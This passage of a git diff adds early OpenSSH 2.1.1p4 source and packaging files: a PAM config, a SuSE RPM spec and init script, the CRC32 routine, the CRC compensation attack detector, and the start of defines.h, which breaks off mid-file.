/dev/null +++ b/other/openssh-2.1.1p4/contrib/sshd.pam.generic @@ -0,0 +1,8 @@ +#%PAM-1.0 +auth required /lib/security/pam_unix.so shadow nodelay +auth required /lib/security/pam_nologin.so +account required /lib/security/pam_unix.so +password required /lib/security/pam_cracklib.so +password required /lib/security/pam_unix.so shadow nullok use_authtok +session required /lib/security/pam_unix.so +session required /lib/security/pam_limits.so diff --git a/other/openssh-2.1.1p4/contrib/suse/openssh.spec b/other/openssh-2.1.1p4/contrib/suse/openssh.spec new file mode 100644 index 0000000..57e687c --- /dev/null +++ b/other/openssh-2.1.1p4/contrib/suse/openssh.spec @@ -0,0 +1,261 @@ +Summary: OpenSSH, a free Secure Shell (SSH) implementation +Name: openssh +Version: 2.1.1p4 +URL: http://www.openssh.com/ +Release: 1 +Source0: openssh-%{version}.tar.gz +Copyright: BSD +Group: Applications/Internet +BuildRoot: /tmp/openssh-%{version}-buildroot +PreReq: openssl +Obsoletes: ssh +# +# (Build[ing] Prereq[uisites] only work for RPM 2.95 and newer.) +# building prerequisites -- stuff for +# OpenSSL (openssl-devel), +# TCP Wrappers (nkitb), +# and Gnome (glibdev, gtkdev, and gnlibsd) +# +BuildPrereq: openssl-devel +BuildPrereq: nkitb +BuildPrereq: glibdev +BuildPrereq: gtkdev +BuildPrereq: gnlibsd + +%package clients +Summary: OpenSSH Secure Shell protocol clients +Requires: openssh +Group: Applications/Internet +Obsoletes: ssh-clients + +%package server +Summary: OpenSSH Secure Shell protocol server (sshd) +Requires: openssh +Group: System Environment/Daemons +PreReq: openssh +Obsoletes: ssh-server + +%package askpass +Summary: OpenSSH GNOME passphrase dialog +Group: Applications/Internet +Requires: openssh +Obsoletes: ssh-extras +Obsoletes: ssh-askpass + +%description +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package includes the core files necessary for both the OpenSSH +client and server. To make this package useful, you should also +install openssh-clients, openssh-server, or both. + +%description clients +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package includes the clients necessary to make encrypted connections +to SSH servers. + +%description server +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package contains the secure shell daemon. The sshd is the server +part of the secure shell protocol and allows ssh clients to connect to +your host. + +%description askpass +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package contains the GNOME passphrase dialog. + +%changelog +* Mon Jun 12 2000 Damien Miller +- Glob manpages to catch compressed files +* Wed Mar 15 2000 Damien Miller +- Updated for new location +- Updated for new gnome-ssh-askpass build +* Sun Dec 26 1999 Chris Saia +- Made symlink to gnome-ssh-askpass called ssh-askpass +* Wed Nov 24 1999 Chris Saia +- Removed patches that included /etc/pam.d/sshd, /sbin/init.d/rc.sshd, and + /var/adm/fillup-templates/rc.config.sshd, since Damien merged these into + his released tarfile +- Changed permissions on ssh_config in the install procedure to 644 from 600 + even though it was correct in the %files section and thus right in the RPMs +- Postinstall script for the server now only prints "Generating SSH host + key..." if we need to actually do this, in order to eliminate a confusing + message if an SSH host key is already in place +- Marked all manual pages as %doc(umentation) +* Mon Nov 22 1999 Chris Saia +- Added flag to configure daemon with TCP Wrappers support +- Added building prerequisites (works in RPM 3.0 and newer) +* Thu Nov 18 1999 Chris Saia +- Made this package correct for SuSE. +- Changed instances of pam_pwdb.so to pam_unix.so, since it works more properly + with SuSE, and lib_pwdb.so isn't installed by default. +* Mon Nov 15 1999 Damien Miller +- Split subpackages further based on patch from jim knoble +* Sat Nov 13 1999 Damien Miller +- Added 'Obsoletes' directives +* Tue Nov 09 1999 Damien Miller +- Use make install +- Subpackages +* Mon Nov 08 1999 Damien Miller +- Added links for slogin +- Fixed perms on manpages +* Sat Oct 30 1999 Damien Miller +- Renamed init script +* Fri Oct 29 1999 Damien Miller +- Back to old binary names +* Thu Oct 28 1999 Damien Miller +- Use autoconf +- New binary names +* Wed Oct 27 1999 Damien Miller +- Initial RPMification, based on Jan "Yenya" Kasprzak's spec. + +%prep + +%setup -q + +%build +CFLAGS="$RPM_OPT_FLAGS" \ +./configure --prefix=/usr --sysconfdir=/etc/ssh --with-gnome-askpass \ + --with-tcp-wrappers --with-ipv4-default +make + +cd contrib +gcc -O -g `gnome-config --cflags gnome gnomeui` \ + gnome-ssh-askpass.c -o gnome-ssh-askpass \ + `gnome-config --libs gnome gnomeui` +cd .. + +%install +rm -rf $RPM_BUILD_ROOT +make install DESTDIR=$RPM_BUILD_ROOT/ +install -d $RPM_BUILD_ROOT/etc/ssh/ +install -d $RPM_BUILD_ROOT/etc/pam.d/ +install -d $RPM_BUILD_ROOT/sbin/init.d/ +install -d $RPM_BUILD_ROOT/var/adm/fillup-templates +install -d $RPM_BUILD_ROOT/usr/libexec/ssh +install -m644 sshd.pam.generic $RPM_BUILD_ROOT/etc/pam.d/sshd +install -m744 contrib/suse/rc.sshd $RPM_BUILD_ROOT/sbin/init.d/sshd +ln -s ../../sbin/init.d/sshd $RPM_BUILD_ROOT/usr/sbin/rcsshd +install -s contrib/gnome-ssh-askpass $RPM_BUILD_ROOT/usr/libexec/ssh/gnome-ssh-askpass +ln -s gnome-ssh-askpass $RPM_BUILD_ROOT/usr/libexec/ssh/ssh-askpass +install -m744 contrib/suse/rc.config.sshd \ + $RPM_BUILD_ROOT/var/adm/fillup-templates + +%clean +rm -rf $RPM_BUILD_ROOT + +%post server +if [ "$1" = 1 ]; then + echo "Creating SSH stop/start scripts in the rc directories..." + ln -s ../sshd /sbin/init.d/rc2.d/K20sshd + ln -s ../sshd /sbin/init.d/rc2.d/S20sshd + ln -s ../sshd /sbin/init.d/rc3.d/K20sshd + ln -s ../sshd /sbin/init.d/rc3.d/S20sshd +fi +echo "Updating /etc/rc.config..." +if [ -x /bin/fillup ] ; then + /bin/fillup -q -d = etc/rc.config var/adm/fillup-templates/rc.config.sshd +else + echo "ERROR: fillup not found. This should NOT happen in SuSE Linux." + echo "Update /etc/rc.config by hand from the following template file:" + echo " /var/adm/fillup-templates/rc.config.sshd" +fi +if [ ! -f /etc/ssh/ssh_host_key -o ! -s /etc/ssh/ssh_host_key ]; then + echo "Generating SSH host key..." + /usr/bin/ssh-keygen -b 1024 -f /etc/ssh/ssh_host_key -N '' >&2 +fi +if [ ! -f /etc/ssh/ssh_host_dsa_key -o ! -s /etc/ssh/ssh_host_dsa_key ]; then + echo "Generating SSH DSA host key..." + /usr/bin/ssh-keygen -d -f /etc/ssh/ssh_host_dsa_key -N '' >&2 +fi +if test -r /var/run/sshd.pid +then + echo "Restarting the running SSH daemon..." + /usr/sbin/rcsshd restart >&2 +fi + +%preun server +if [ "$1" = 0 ] +then + echo "Stopping the SSH daemon..." + /usr/sbin/rcsshd stop >&2 + echo "Removing SSH stop/start scripts from the rc directories..." + rm /sbin/init.d/rc2.d/K20sshd + rm /sbin/init.d/rc2.d/S20sshd + rm /sbin/init.d/rc3.d/K20sshd + rm /sbin/init.d/rc3.d/S20sshd +fi + +%files +%defattr(-,root,root) +%doc COPYING.Ylonen ChangeLog OVERVIEW README* +%doc RFC.nroff TODO UPGRADING CREDITS +%attr(0755,root,root) /usr/bin/ssh-keygen +%attr(0755,root,root) /usr/bin/scp +%attr(0644,root,root) %doc /usr/man/man1/ssh-keygen.1* +%attr(0644,root,root) %doc /usr/man/man1/scp.1* +%attr(0755,root,root) %dir /etc/ssh +%attr(0755,root,root) %dir /usr/libexec/ssh + +%files clients +%defattr(-,root,root) +%attr(4755,root,root) /usr/bin/ssh +%attr(0755,root,root) /usr/bin/ssh-agent +%attr(0755,root,root) /usr/bin/ssh-add +%attr(0644,root,root) %doc /usr/man/man1/ssh.1* +%attr(0644,root,root) %doc /usr/man/man1/ssh-agent.1* +%attr(0644,root,root) %doc /usr/man/man1/ssh-add.1* +%attr(0644,root,root) %config /etc/ssh/ssh_config +%attr(-,root,root) /usr/bin/slogin +%attr(-,root,root) %doc /usr/man/man1/slogin.1* + +%files server +%defattr(-,root,root) +%attr(0755,root,root) /usr/sbin/sshd +%attr(0644,root,root) %doc /usr/man/man8/sshd.8* +%attr(0600,root,root) %config /etc/ssh/sshd_config +%attr(0644,root,root) %config /etc/pam.d/sshd +%attr(0755,root,root) %config /sbin/init.d/sshd +%attr(-,root,root) /usr/sbin/rcsshd +%attr(0644,root,root) /var/adm/fillup-templates/rc.config.sshd + +%files askpass +%defattr(-,root,root) +%attr(0755,root,root) /usr/libexec/ssh/ssh-askpass +%attr(0755,root,root) /usr/libexec/ssh/gnome-ssh-askpass + diff --git a/other/openssh-2.1.1p4/contrib/suse/rc.config.sshd b/other/openssh-2.1.1p4/contrib/suse/rc.config.sshd new file mode 100644 index 0000000..baaa7a5 --- /dev/null +++ b/other/openssh-2.1.1p4/contrib/suse/rc.config.sshd @@ -0,0 +1,5 @@ +# +# Start the Secure Shell (SSH) Daemon? +# +START_SSHD="yes" + diff --git a/other/openssh-2.1.1p4/contrib/suse/rc.sshd b/other/openssh-2.1.1p4/contrib/suse/rc.sshd new file mode 100644 index 0000000..f7d431e --- /dev/null +++ b/other/openssh-2.1.1p4/contrib/suse/rc.sshd @@ -0,0 +1,80 @@ +#! /bin/sh +# Copyright (c) 1995-1998 SuSE GmbH Nuernberg, Germany. +# +# Author: Chris Saia +# +# /sbin/init.d/sshd +# +# and symbolic its link +# +# /sbin/rcsshd +# + +. /etc/rc.config + +# Determine the base and follow a runlevel link name. +base=${0##*/} +link=${base#*[SK][0-9][0-9]} + +# Force execution if not called by a runlevel directory. +test $link = $base && START_SSHD=yes +test "$START_SSHD" = yes || exit 0 + +# The echo return value for success (defined in /etc/rc.config). +return=$rc_done +case "$1" in + start) + echo -n "Starting service sshd" + ## Start daemon with startproc(8). If this fails + ## the echo return value is set appropriate. + + startproc /usr/sbin/sshd || return=$rc_failed + + echo -e "$return" + ;; + stop) + echo -n "Stopping service sshd" + ## Stop daemon with killproc(8) and if this fails + ## set echo the echo return value. + + killproc -TERM /usr/sbin/sshd || return=$rc_failed + + echo -e "$return" + ;; + restart) + ## If first returns OK call the second, if first or + ## second command fails, set echo return value. + $0 stop && $0 start || return=$rc_failed + ;; + reload) + ## Choose ONE of the following two cases: + + ## First possibility: A few services accepts a signal + ## to reread the (changed) configuration. + + echo -n "Reload service sshd" + killproc -HUP /usr/sbin/sshd || return=$rc_failed + echo -e "$return" + ;; + status) + echo -n "Checking for service sshd" + ## Check status with checkproc(8), if process is running + ## checkproc will return with exit status 0. + + checkproc /usr/sbin/sshd && echo OK || echo No process + ;; + probe) + ## Optional: Probe for the necessity of a reload, + ## give out the argument which is required for a reload. + + test /etc/ssh/sshd_config -nt /var/run/sshd.pid && echo reload + ;; + *) + echo "Usage: $0 {start|stop|status|restart|reload[|probe]}" + exit 1 + ;; +esac + +# Inform the caller not only verbosely and set an exit status. +test "$return" = "$rc_done" || exit 1 +exit 0 diff --git a/other/openssh-2.1.1p4/crc32.c b/other/openssh-2.1.1p4/crc32.c new file mode 100644 index 0000000..05a1af7 --- /dev/null +++ b/other/openssh-2.1.1p4/crc32.c @@ -0,0 +1,121 @@ +/* + * The implementation here was originally done by Gary S. Brown. + * I have borrowed the tables directly, and made some minor changes + * to the crc32-function (including changing the interface). + * //ylo + */ + +#include "includes.h" +RCSID("$OpenBSD: crc32.c,v 1.5 2000/06/20 01:39:40 markus Exp $"); + +#include "crc32.h" + + /* ============================================================= */ + /* COPYRIGHT (C) 1986 Gary S. Brown. You may use this program, or */ + /* code or tables extracted from it, as desired without restriction. */ + /* */ + /* First, the polynomial itself and its table of feedback terms. The */ + /* polynomial is */ + /* X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0 */ + /* */ + /* Note that we take it "backwards" and put the highest-order term in */ + /* the lowest-order bit. The X^32 term is "implied"; the LSB is the */ + /* X^31 term, etc. The X^0 term (usually shown as "+1") results in */ + /* the MSB being 1. */ + /* */ + /* Note that the usual hardware shift register implementation, which */ + /* is what we're using (we're merely optimizing it by doing eight-bit */ + /* chunks at a time) shifts bits into the lowest-order term. In our */ + /* implementation, that means shifting towards the right. Why do we */ + /* do it this way? Because the calculated CRC must be transmitted in */ + /* order from highest-order term to lowest-order term. UARTs transmit */ + /* characters in order from LSB to MSB. By storing the CRC this way, */ + /* we hand it to the UART in the order low-byte to high-byte; the UART */ + /* sends each low-bit to hight-bit; and the result is transmission bit */ + /* by bit from highest- to lowest-order term without requiring any bit */ + /* shuffling on our part. Reception works similarly. */ + /* */ + /* The feedback terms table consists of 256, 32-bit entries. Notes: */ + /* */ + /* The table can be generated at runtime if desired; code to do so */ + /* is shown later. It might not be obvious, but the feedback */ + /* terms simply represent the results of eight shift/xor opera- */ + /* tions for all combinations of data and CRC register values. */ + /* */ + /* The values must be right-shifted by eight bits by the "updcrc" */ + /* logic; the shift must be unsigned (bring in zeroes). On some */ + /* hardware you could probably optimize the shift in assembler by */ + /* using byte-swap instructions. */ + /* polynomial $edb88320 */ + /* */ + /* -------------------------------------------------------------------- */ + +static unsigned int crc32_tab[] = { + 0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L, + 0x706af48fL, 0xe963a535L, 0x9e6495a3L, 0x0edb8832L, 0x79dcb8a4L, + 0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L, + 0x90bf1d91L, 0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL, + 0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L, 0x136c9856L, + 0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L, + 0xfa0f3d63L, 0x8d080df5L, 0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L, + 0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL, + 0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L, + 0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L, 0x26d930acL, 0x51de003aL, + 0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L, + 0xb8bda50fL, 0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L, + 0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL, 0x76dc4190L, + 0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL, + 0x9fbfe4a5L, 0xe8b8d433L, 0x7807c9a2L, 0x0f00f934L, 0x9609a88eL, + 0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L, + 0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL, + 0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L, 0x65b0d9c6L, 0x12b7e950L, + 0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L, + 0xfbd44c65L, 0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L, + 0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL, 0x4369e96aL, + 0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L, + 0xaa0a4c5fL, 0xdd0d7cc9L, 0x5005713cL, 0x270241aaL, 0xbe0b1010L, + 0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL, + 0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L, + 0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL, 0xedb88320L, 0x9abfb3b6L, + 0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L, + 0x73dc1683L, 0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L, + 0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L, 0xf00f9344L, + 0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL, + 0x196c3671L, 0x6e6b06e7L, 0xfed41b76L, 0x89d32be0L, 0x10da7a5aL, + 0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L, + 0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L, + 0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL, 0xd80d2bdaL, 0xaf0a1b4cL, + 0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL, + 0x4669be79L, 0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L, + 0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL, 0xc5ba3bbeL, + 0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L, + 0x2cd99e8bL, 0x5bdeae1dL, 0x9b64c2b0L, 0xec63f226L, 0x756aa39cL, + 0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L, + 0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL, + 0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L, 0x86d3d2d4L, 0xf1d4e242L, + 0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L, + 0x18b74777L, 0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL, + 0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L, 0xa00ae278L, + 0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L, + 0x4969474dL, 0x3e6e77dbL, 0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L, + 0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L, + 0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L, + 0xcdd70693L, 0x54de5729L, 0x23d967bfL, 0xb3667a2eL, 0xc4614ab8L, + 0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL, + 0x2d02ef8dL +}; + +/* Return a 32-bit CRC of the contents of the buffer. */ + +unsigned int +crc32(const unsigned char *s, unsigned int len) +{ + unsigned int i; + unsigned int crc32val; + + crc32val = 0; + for (i = 0; i < len; i ++) { + crc32val = crc32_tab[(crc32val ^ s[i]) & 0xff] ^ (crc32val >> 8); + } + return crc32val; +} diff --git a/other/openssh-2.1.1p4/crc32.h b/other/openssh-2.1.1p4/crc32.h new file mode 100644 index 0000000..45495b4 --- /dev/null +++ b/other/openssh-2.1.1p4/crc32.h @@ -0,0 +1,27 @@ +/* + * + * crc32.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1992 Tatu Ylonen, Espoo, Finland + * All rights reserved + * + * Created: Tue Feb 11 14:37:27 1992 ylo + * + * Functions for computing 32-bit CRC. + * + */ + +/* RCSID("$OpenBSD: crc32.h,v 1.6 2000/06/20 01:39:40 markus Exp $"); */ + +#ifndef CRC32_H +#define CRC32_H + +/* + * This computes a 32 bit CRC of the data in the buffer, and returns the CRC. + * The polynomial used is 0xedb88320. + */ +unsigned int crc32(const unsigned char *buf, unsigned int len); + +#endif /* CRC32_H */ diff --git a/other/openssh-2.1.1p4/deattack.c b/other/openssh-2.1.1p4/deattack.c new file mode 100644 index 0000000..7f95eca --- /dev/null +++ b/other/openssh-2.1.1p4/deattack.c @@ -0,0 +1,155 @@ +/* + * $OpenBSD: deattack.c,v 1.7 2000/06/20 01:39:41 markus Exp $ + * Cryptographic attack detector for ssh - source code + * + * Copyright (c) 1998 CORE SDI S.A., Buenos Aires, Argentina. + * + * All rights reserved. Redistribution and use in source and binary + * forms, with or without modification, are permitted provided that + * this copyright notice is retained. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED + * WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR + * CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF THIS + * SOFTWARE. + * + * Ariel Futoransky + * + */ + +#include "includes.h" +#include "deattack.h" +#include "ssh.h" +#include "crc32.h" +#include "getput.h" +#include "xmalloc.h" + +/* SSH Constants */ +#define SSH_MAXBLOCKS (32 * 1024) +#define SSH_BLOCKSIZE (8) + +/* Hashing constants */ +#define HASH_MINSIZE (8 * 1024) +#define HASH_ENTRYSIZE (2) +#define HASH_FACTOR(x) ((x)*3/2) +#define HASH_UNUSEDCHAR (0xff) +#define HASH_UNUSED (0xffff) +#define HASH_IV (0xfffe) + +#define HASH_MINBLOCKS (7*SSH_BLOCKSIZE) + + +/* Hash function (Input keys are cipher results) */ +#define HASH(x) GET_32BIT(x) + +#define CMP(a,b) (memcmp(a, b, SSH_BLOCKSIZE)) + + +void +crc_update(u_int32_t *a, u_int32_t b) +{ + b ^= *a; + *a = crc32((unsigned char *) &b, sizeof(b)); +} + +/* detect if a block is used in a particular pattern */ +int +check_crc(unsigned char *S, unsigned char *buf, u_int32_t len, + unsigned char *IV) +{ + u_int32_t crc; + unsigned char *c; + + crc = 0; + if (IV && !CMP(S, IV)) { + crc_update(&crc, 1); + crc_update(&crc, 0); + } + for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) { + if (!CMP(S, c)) { + crc_update(&crc, 1); + crc_update(&crc, 0); + } else { + crc_update(&crc, 0); + crc_update(&crc, 0); + } + } + return (crc == 0); +} + + +/* Detect a crc32 compensation attack on a packet */ +int +detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV) +{ + static u_int16_t *h = (u_int16_t *) NULL; + static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE; + register u_int32_t i, j; + u_int32_t l; + register unsigned char *c; + unsigned char *d; + + if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || + len % SSH_BLOCKSIZE != 0) { + fatal("detect_attack: bad length %d", len); + } + for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2) + ; + + if (h == NULL) { + debug("Installing crc compensation attack detector."); + n = l; + h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE); + } else { + if (l > n) { + n = l; + h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE); + } + } + + if (len <= HASH_MINBLOCKS) { + for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) { + if (IV && (!CMP(c, IV))) { + if ((check_crc(c, buf, len, IV))) + return (DEATTACK_DETECTED); + else + break; + } + for (d = buf; d < c; d += SSH_BLOCKSIZE) { + if (!CMP(c, d)) { + if ((check_crc(c, buf, len, IV))) + return (DEATTACK_DETECTED); + else + break; + } + } + } + return (DEATTACK_OK); + } + memset(h, HASH_UNUSEDCHAR, n * HASH_ENTRYSIZE); + + if (IV) + h[HASH(IV) & (n - 1)] = HASH_IV; + + for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) { + for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED; + i = (i + 1) & (n - 1)) { + if (h[i] == HASH_IV) { + if (!CMP(c, IV)) { + if (check_crc(c, buf, len, IV)) + return (DEATTACK_DETECTED); + else + break; + } + } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) { + if (check_crc(c, buf, len, IV)) + return (DEATTACK_DETECTED); + else + break; + } + } + h[i] = j; + } + return (DEATTACK_OK); +} diff --git a/other/openssh-2.1.1p4/deattack.h b/other/openssh-2.1.1p4/deattack.h new file mode 100644 index 0000000..6ce54de --- /dev/null +++ b/other/openssh-2.1.1p4/deattack.h @@ -0,0 +1,28 @@ +/* + * Cryptographic attack detector for ssh - Header file + * + * Copyright (c) 1998 CORE SDI S.A., Buenos Aires, Argentina. + * + * All rights reserved. Redistribution and use in source and binary + * forms, with or without modification, are permitted provided that + * this copyright notice is retained. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED + * WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR + * CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF THIS + * SOFTWARE. + * + * Ariel Futoransky + * + */ + +#ifndef _DEATTACK_H +#define _DEATTACK_H + +/* Return codes */ +#define DEATTACK_OK 0 +#define DEATTACK_DETECTED 1 + +int detect_attack(unsigned char *buf, u_int32_t len, unsigned char IV[8]); +#endif diff --git a/other/openssh-2.1.1p4/defines.h b/other/openssh-2.1.1p4/defines.h new file mode 100644 index 0000000..23e00d1 --- /dev/null +++ b/other/openssh-2.1.1p4/defines.h @@ -0,0 +1,381 @@ +#ifndef _DEFINES_H +#define _DEFINES_H + +/* Necessary headers */ + +#include /* For [u]intxx_t */ +#include /* For SHUT_XXXX */ +#include /* For MAXPATHLEN */ +#include /* For typedefs */ +#include /* For IPv6 macros */ +#include /* For IPTOS macros */ +#ifdef HAVE_SYS_BITYPES_H +# include /* For u_intXX_t */ +#endif +#ifdef HAVE_PATHS_H +# include /* For _PATH_XXX */ +#endif +#ifdef HAVE_LIMITS_H +# include /* For PATH_MAX */ +#endif +#ifdef HAVE_SYS_TIME_H +# include /* For timersub */ +#endif +#ifdef HAVE_MAILLOCK_H +# include /* For _PATH_MAILDIR */ +#endif +#ifdef HAVE_SYS_CDEFS_H +# include /* For __P() */ +#endif +#ifdef HAVE_SYS_SYSMACROS_H +# include /* For MIN, MAX, etc */ +#endif +#ifdef HAVE_SYS_STAT_H +# include /* For S_* constants and macros */ +#endif + +#include /* For STDIN_FILENO, etc */ + +/* Constants */ + +#ifndef SHUT_RDWR +enum +{ + SHUT_RD = 0, /* No more receptions. */ + SHUT_WR, /* No more transmissions. */ + SHUT_RDWR /* No more receptions or transmissions. */ +}; +# define SHUT_RD SHUT_RD +# define SHUT_WR SHUT_WR +# define SHUT_RDWR SHUT_RDWR +#endif + +#ifndef IPTOS_LOWDELAY +# define IPTOS_LOWDELAY 0x10 +# define IPTOS_THROUGHPUT 0x08 +# define IPTOS_RELIABILITY 0x04 +# define IPTOS_LOWCOST 0x02 +# define IPTOS_MINCOST IPTOS_LOWCOST +#endif /* IPTOS_LOWDELAY */ + +#ifndef MAXPATHLEN +# ifdef PATH_MAX +# define MAXPATHLEN PATH_MAX +# else /* PATH_MAX */ +# define MAXPATHLEN 64 /* Should be safe */ +# endif /* PATH_MAX */ +#endif /* MAXPATHLEN */ + +#ifndef STDIN_FILENO +# define STDIN_FILENO 0 +#endif +#ifndef STDOUT_FILENO +# define STDOUT_FILENO 1 +#endif +#ifndef STDERR_FILENO +# define STDERR_FILENO 2 +#endif + +#ifndef S_ISREG +# define S_ISDIR(mode) (((mode) & (_S_IFMT)) == (_S_IFDIR)) +# define S_ISREG(mode) (((mode) & (_S_IFMT)) == (_S_IFREG)) +#endif /* S_ISREG */ + +#ifndef S_IXUSR +# define S_IXUSR 0000100 /* execute/search permission, */ +# define S_IXGRP 0000010 /* execute/search permission, */ +# define S_IXOTH 0000001 /* execute/search permission, */ +# define _S_IWUSR 0000200 /* write permission, */ +# define S_IWUSR _S_IWUSR /* write permission, owner */ +# define S_IWGRP 0000020 /* write permission, group */ +# define S_IWOTH 0000002 /* write permission, other */ +# define S_IRUSR 0000400 /* read permission, owner */ +# define S_IRGRP 0000040 /* read permission, group */ +# define S_IROTH 0000004 /* read permission, other */ +# define S_IRWXU 0000700 /* read, write, execute */ +# define S_IRWXG 0000070 /* read, write, execute */ +# define S_IRWXO 0000007 /* read, write, execute */ +#endif /* S_IXUSR */ + +/* Types */ + +/* If sys/types.h does not supply intXX_t, supply them ourselves */ +/* (or die trying) */ +#ifndef HAVE_INTXX_T +# if (SIZEOF_CHAR == 1) +typedef char int8_t; +# else +# error "8 bit int type not found." +# endif +# if (SIZEOF_SHORT_INT == 2) +typedef short int int16_t; +# else +# error "16 bit int type not found." +# endif +# if (SIZEOF_INT == 4) +typedef int int32_t; +# else +# error "32 bit int type not found." +# endif +/* +# if 